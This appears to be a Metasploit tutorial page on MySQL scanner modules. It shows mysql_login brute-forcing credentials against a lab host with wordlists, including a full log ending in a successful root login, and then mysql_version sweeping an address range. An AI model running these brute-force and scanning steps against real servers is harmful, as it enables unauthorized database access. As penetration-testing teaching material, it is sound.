Scanner MySQL Auxiliary Modules a11y.text Scanner MySQL Auxiliary Modules mysql_login a11y.text mysql_login The mysql_login auxiliary module is a brute-force login tool for MySQL servers. msf > use auxiliary/scanner/mysql/mysql_login

msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

Name	Current Setting	Required	Description
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
PASSWORD		no	A specific password to authenticate with
PASS_FILE	/usr/share/wordlists/fasttrack.txt	no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target address range or CIDR identifier
RPORT	3306	yes	The target port (TCP)
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts To configure our scan, we point the module to files containing usernames and passwords, set our RHOSTS value, and let it run. msf auxiliary(mysql_login) > set PASS_FILE /tmp/passes.txt

PASS_FILE => /tmp/passes.txt

msf auxiliary(mysql_login) > set RHOSTS 192.168.1.200

RHOSTS => 192.168.1.200

msf auxiliary(mysql_login) > set USER_FILE /tmp/users.txt

USER_FILE => /tmp/users.txt

msf auxiliary(mysql_login) > run

[*] 192.168.1.200:3306 - Found remote MySQL version 5.0.51a

[*] 192.168.1.200:3306 Trying username:'administrator' with password:''

[*] 192.168.1.200:3306 failed to login as 'administrator' with password ''

[*] 192.168.1.200:3306 Trying username:'admin' with password:''

[*] 192.168.1.200:3306 failed to login as 'admin' with password ''

[*] 192.168.1.200:3306 Trying username:'root' with password:''

[*] 192.168.1.200:3306 failed to login as 'root' with password ''

[*] 192.168.1.200:3306 Trying username:'god' with password:''

[*] 192.168.1.200:3306 failed to login as 'god' with password ''

[*] 192.168.1.200:3306 Trying username:'administrator' with password:'root'

[*] 192.168.1.200:3306 failed to login as 'administrator' with password 'root'

[*] 192.168.1.200:3306 Trying username:'administrator' with password:'admin'

[*] 192.168.1.200:3306 failed to login as 'administrator' with password 'admin'

[*] 192.168.1.200:3306 Trying username:'administrator' with password:'god'

[*] 192.168.1.200:3306 failed to login as 'administrator' with password 'god'

[*] 192.168.1.200:3306 Trying username:'administrator' with password:'s3cr3t'

[*] 192.168.1.200:3306 failed to login as 'administrator' with password 's3cr3t'

[*] 192.168.1.200:3306 Trying username:'admin' with password:'root'

[*] 192.168.1.200:3306 failed to login as 'admin' with password 'root'

[*] 192.168.1.200:3306 Trying username:'admin' with password:'admin'

[*] 192.168.1.200:3306 failed to login as 'admin' with password 'admin'

[*] 192.168.1.200:3306 Trying username:'admin' with password:'god'

[*] 192.168.1.200:3306 failed to login as 'admin' with password 'god'

[*] 192.168.1.200:3306 Trying username:'admin' with password:'s3cr3t'

[*] 192.168.1.200:3306 failed to login as 'admin' with password 's3cr3t'

[*] 192.168.1.200:3306 Trying username:'root' with password:'root'

[+] 192.168.1.200:3306 - SUCCESSFUL LOGIN 'root' : 'root'

[*] 192.168.1.200:3306 Trying username:'god' with password:'root'

[*] 192.168.1.200:3306 failed to login as 'god' with password 'root'

[*] 192.168.1.200:3306 Trying username:'god' with password:'admin'

[*] 192.168.1.200:3306 failed to login as 'god' with password 'admin'

[*] 192.168.1.200:3306 Trying username:'god' with password:'god'

[*] 192.168.1.200:3306 failed to login as 'god' with password 'god'

[*] 192.168.1.200:3306 Trying username:'god' with password:'s3cr3t'

[*] 192.168.1.200:3306 failed to login as 'god' with password 's3cr3t'

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(mysql_login) > mysql_version a11y.text mysql_version The mysql_version module, as its name implies, scans a host or range of hosts to determine the version of MySQL that is running.

msf > use auxiliary/scanner/mysql/mysql_version

msf auxiliary(mysql_version) > show options

Module options (auxiliary/scanner/mysql/mysql_version):

Name	Current Setting	Required	Description
RHOSTS		yes	The target address range or CIDR identifier
RPORT	3306	yes	The target port
THREADS	1	yes	The number of concurrent threads To configure the module, we simply set our RHOSTS and THREADS values and let it run. msf auxiliary(mysql_version) > set RHOSTS 192.168.1.200-254

RHOSTS => 192.168.1.200-254

msf auxiliary(mysql_version) > set THREADS 20

THREADS => 20

msf auxiliary(mysql_version) > run

[*] 192.168.1.200:3306 is running MySQL 5.0.51a-3ubuntu5 (protocol 10)

[*] 192.168.1.201:3306 is running MySQL, but responds with an error: \x04Host '192.168.1.101' is not allowed to connect to this MySQL server

[*] Scanned 21 of 55 hosts (038% complete)

[*] 192.168.1.203:3306 is running MySQL, but responds with an error: \x04Host '192.168.1.101' is not allowed to connect to this MySQL server

[*] Scanned 22 of 55 hosts (040% complete)

[*] Scanned 42 of 55 hosts (076% complete)

[*] Scanned 44 of 55 hosts (080% complete)

[*] Scanned 45 of 55 hosts (081% complete)

[*] Scanned 48 of 55 hosts (087% complete)

[*] Scanned 50 of 55 hosts (090% complete)

[*] Scanned 51 of 55 hosts (092% complete)

[*] Scanned 52 of 55 hosts (094% complete)

[*] Scanned 55 of 55 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(mysql_version) > Next Scanner MSSQL Auxiliary Modules Prev Scanner HTTP Auxiliary Modules